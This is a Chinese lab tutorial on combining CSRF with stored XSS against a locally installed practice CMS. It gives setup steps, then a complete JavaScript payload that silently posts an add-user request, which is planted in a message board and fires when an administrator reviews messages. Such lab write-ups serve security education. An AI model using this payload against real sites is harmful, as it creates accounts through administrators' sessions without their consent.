CSRF+XSS组合攻击实战

目录

0x01安装靶场

0x02分析功能点的请求接口,构造恶意请求

0x03寻找xss漏洞


0x01安装靶场

下载源码,解压到网站根目录

1.修改数据库配置文件

打开源码,进入到include目录下,打开数据库配置文件database.inc.php

将数据库的用户名和密码修改为自己数据库的用户名和密码,数据库名可以不改。然后保存。

2.导入SQL文件

方法一:使用Navicat导入

打开navicate,新建数据库,名字写为刚才我们上面的数据库名,若没有修改,数据库名就是cms

右键点击我们刚才的数据库,选择运行SQL文件(若右键之后,运行SQL文件是灰色的,则先点击打开数据库)

选择源码下的install.sql文件

然后浏览器打开访问网站。

方法二:命令行方式导入

打开命令行,win+r,输入cmd,回车,在命令行界面输入mysql -u root -p

输入密码。

创建数据库 creat database cms

选中数据库use cms,导入sql文件,source sql文件地址

例如:source D:\phpstudy_pro\WWW\cms\install.sql

导入成功,打开浏览器访问网站。

访问路径:域名\cms\index.php

0x02分析功能点的请求接口,构造恶意请求

进入后台管理界面找到添加用户的功能点,进行抓包分析

管理员用户名admin,密码123456

添加用户,进行抓包

右键利用burpsuite自带的csrfPOC生成工具生成

把这个复制写到一个页面上,在登录到那个cms管理员账户的情况下,访问这个页面,就会发现用户里面多了一条用户记录。由于CSRF利用条件比较苛刻,需要受害者点击恶意请求。因此我们可需要借助XSS来扩大危害,借用XSS漏洞执行JS代码,让JS直接发起请求,从而不需要让受害者点击恶意请求了。

0x03寻找xss漏洞

编写恶意JS代码

<script> xmlhttp = new XMLHttpRequest(); xmlhttp.open("post","http://localhost:8083/cms/admin/user.action.php",false); xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded"); xmlhttp.send("act=add&username=zhang&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0"); </script>

代码说明

xmlhttp = new XMLHttpRequest(); 
  • 创建 XMLHttpRequest 对象XMLHttpRequest 是 JavaScript 用于与服务器进行交互的对象。在这里,创建了一个新的 XMLHttpRequest 对象 xmlhttp

xmlhttp.open("post", "http://localhost:8083/cms/admin/user.action.php", false);
  • 初始化请求

    • open() 方法用于初始化一个请求。这里指定了请求方法为 POST

    • 第一个参数 "post" 表示 HTTP 请求的方法是 POST。

    • 第二个参数 http://localhost:8083/cms/admin/user.action.php 是请求的 URL。

    • 第三个参数 false 表示同步请求(阻塞调用),即 JavaScript 执行将暂停,直到请求完成。

xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  • 设置请求头setRequestHeader() 方法用于设置 HTTP 请求头。这里设置 Content-typeapplication/x-www-form-urlencoded,表示发送的数据将按照表单 URL 编码的方式进行编码。

xmlhttp.send("act=add&username=yuanboss&password=123456&password2=123456&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
  • 发送请求

    send()

    方法用于发送 HTTP 请求。这里发送的数据是一个 URL 编码的字符串:

    • "act=add":操作类型是“add”,表示要添加一个用户。

    • "username=zhang":用户名是“zhang”。

    • "password=123456""password2=123456":密码是“123456”,两次确认输入。

    • "button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7":提交按钮的值,URL 解码后是“添加用户”。

    • "userid=0":用户 ID 为0,通常表示新用户。

通过查询cms靶场,找到了一个留言板,因为留言板需要管理员去审核,所以可以进行一个存储型xss注入。

在留言板留言我们刚才构造的恶意JS代码,进行xss+csrf组合攻击

模仿管理员去审核留言

打开账号管理,查看账号

多了一条用户名为张的用户记录。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/48124.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

组内第一次会议

会议内容 1、科研平台使用 增删改查对文件 cp -r /root/mmdetection/dataset/ /root/user/wbzExperiment/mmdetection/ rm -r /root/user/yolov5-master tar -czvf test03.tar.gz test03/ unzip abc.zip 上传文件、解压文件&#xff1a;要在自己的目录中&#xff0c;进入…

Python函数基础:构建代码逻辑的基石(补全篇)

在前面我已经编写过一篇&#xff0c;python函数基础的博文&#xff0c;相信有基础的同学应该看得出来&#xff0c;那一篇的基础内容也是不全的&#xff0c;于是就有了这个补全篇。补全篇&#xff0c;补充了变量的作用与&#xff08;global与nonlocal&#xff09;、递归函数、闭…

acwing796-子矩阵的和-前缀和

s矩阵是全局变量&#xff0c;维度n*m,从1~n和 1~m存储元素【0】【0】~【0】【m】和【0】【0】~【n】【0】分别存储的都是0.s矩阵刚开始是存储输入的元素&#xff0c;后面用于存储前缀和。 s矩阵的意思是s【i】【j】表示从【0】【0】到【i】【j】为对角线的矩阵里面所有元素的和…

多类别支持向量机(Multi-class SVM)

多类别支持向量机&#xff08;Multi-class SVM&#xff09;是一种扩展二分类支持向量机以处理多类别分类问题的方法。常见的方法有“一对一”&#xff08;one-vs-one&#xff09;和“一对多”&#xff08;one-vs-rest&#xff09;。 一、数学模型理论推导 1.1 一对多&#xf…

新的铸造厂通过 PROFIBUS 技术实现完全自动化

钢铁生产商某钢以其在厚钢板类别中极高的产品质量而闻名。其原材料&#xff08;板坯连铸机&#xff09;在钢铁厂本地生产&#xff0c;该厂最近新建了一座垂直连铸厂。该项目的一个主要目标是从一开始就完全自动化这座新工厂和整个铸造过程&#xff0c;以高成本效率实现最佳产品…

用AI对抗AI:Fortinet解锁家电制造网络安全新密码

Fortinet盛大启幕《构筑垂直行业 网络安全防线》系列研讨会。首场研讨会聚焦于家电制造领域&#xff0c;以《利用AI打造家电制造网络安全的新质力》为主题。 Fortinet中国南区资深安全顾问黄志攀深入洞察家电制造行业的网络安全挑战&#xff0c;全面解析了Fortinet如何通过全栈…

数据库系统概论:数据库系统的锁机制

引言 锁是计算机协调多个进程或线程并发访问某一资源的机制。在数据库中&#xff0c;数据作为一种共享资源&#xff0c;其并发访问的一致性和有效性是数据库必须解决的问题。锁机制通过对数据库中的数据对象&#xff08;如表、行等&#xff09;进行加锁&#xff0c;以确保在同…

基于python的去除图像内部填充

1 代码功能 该代码实现了一个图像处理的功能&#xff0c;具体来说是去除图像内部填充&#xff08;或更准确地说&#xff0c;是提取并显示图像中轮廓的外围区域&#xff0c;而忽略内部填充&#xff09;。以下是该功能的详细步骤&#xff1a; 读取图像&#xff1a;使用cv2.imread…

AWS服务器购买:如何选择合适的AWS云服务器

在当今数字化时代,云计算已成为企业IT基础设施的重要组成部分。作为全球领先的云服务提供商之一,亚马逊网络服务(AWS)提供了丰富多样的云服务器选项。然而,面对众多选择,如何为您的业务需求挑选最合适的AWS云服务器呢?我们结合九河云的分析来给你解答。 1. 明确业务需求 首先…

JVM调优:根据JVM自带工具定位问题(jps、jstat、Visual VM的使用)

JVM调优步骤 发现问题、定位问题、解决问题 发现问题 常见问题如下 GC频繁CPU负载过高内存溢出&#xff08;OOM&#xff09;内存泄露死锁程序响应时间较长 用JDK自带命令调优工具定位问题 jps&#xff08;java process status&#xff09;:查看正在运行的Java进程 基本语…

JUnit 单元测试

JUnit 测试是程序员测试&#xff0c;就是白盒测试&#xff0c;可以让程序员知道被测试的软件如何 &#xff08;How&#xff09;完成功能和完成什么样&#xff08;What&#xff09;的功能。 下载junit-4.12和hamcrest-core-1.3依赖包 相关链接 junit-4.12&#xff1a;Central …

html+canvas 实现签名功能-手机触摸

手机上的效果图 需要注意&#xff0c;手机触摸和鼠标不是一个事件&#xff0c;不能通用&#xff0c;上一篇是关于使用鼠标的样例 相关代码 <!DOCTYPE html> <html lang"en"><head><meta charset"UTF-8"><meta name"viewpo…

什么是AQS(抽象队列同步器)?

AQS是AbstractQueuedSynchronizer的简称&#xff0c;即抽象队列同步器&#xff0c;从字面上可以这样理解: 抽象&#xff1a;抽象类&#xff0c;只实现一些主要逻辑&#xff0c;有些方法由子类实现&#xff1b;队列&#xff1a;使用先进先出&#xff08;FIFO&#xff09;的队列…

独立站外链如何影响搜索引擎排名?

独立站的外链对搜索引擎排名有着非常重要的影响。简单来说&#xff0c;外链就像是别的网站对你的网站投的信任票。每一条外链都告诉搜索引擎&#xff1a;“这个网站的内容是有价值的&#xff0c;值得推荐。”因此&#xff0c;外链的数量和质量直接影响你的网站在搜索引擎中的排…

ThinkPad改安装Windows7系统的操作步骤

ThinkPad&#xff1a;改安装Windows7系统的操作步骤 一、BIOS设置 1、先重新启动计算机&#xff0c;并按下笔记本键盘上“F1”键进入笔记本的BIOS设置界面。 2、进入BIOS设置界面后&#xff0c;按下键盘上“→”键将菜单移动至“Restart“项目&#xff0c;按下键盘上“↓”按键…

创新驱动的力量:探索Web3在技术发展中的作用

随着科技的不断进步和创新&#xff0c;Web3作为新一代互联网技术范式&#xff0c;正在以其去中心化、安全、透明和可编程的特性&#xff0c;深刻影响着全球技术发展的方向和速度。本文将深入探讨Web3技术的核心概念、关键特征以及其在技术创新中的重要作用&#xff0c;展示其在…

汽车及零部件研发项目管理系统:一汽东机工选择奥博思 PowerProject 提升研发项目管理效率

在汽车行业中&#xff0c;汽车零部件的研发和生产是一个关键的环节。随着汽车市场的不断扩大和消费者需求的不断增加&#xff0c;汽车零部件项目管理的重要性日益凸显。通过有效的项目管理方法及利用先进的数字项目管理系统&#xff0c;可以大幅提高项目的成功率和顺利度&#…

JVM:常用工具总结

文章目录 一、jstat工具 一、jstat工具 Jstat工具是JDK自带的一款监控工具&#xff0c;可以提供各种垃圾回收、类加载、编译信息等不同的数据。使用方法为&#xff1a;jstat -gc进程ID每次统计的时间间隔&#xff08;毫秒&#xff09;统计次数。 C代表Capacity容量&#xff0c…

秒懂设计模式--学习笔记(11)【结构型-享元模式】

目录 10、享元模式10.1 享元模式10.2 举例10.2.1 马赛克10.2.2 游戏地图&#xff08;以草原地图作为范例&#xff09; 10.3 总结 10、享元模式 10.1 享元模式 “享元”则是共享元件的意思享元模式的英文flyweight是轻量级的意思&#xff0c;这就意味着享元模式能使程序变得更…

stack(leetcode练习题)

文章目录 STL用法总结32 最长有效括号思路代码 496 下一个最大元素思路代码 856 括号的分数思路 STL用法总结 关于stack的知识&#xff0c;可以看点击查看上面的博客&#xff0c;以下题目全在leetcode 32 最长有效括号 思路 “(()” “()(()” “(()(((()” 最开始写的&…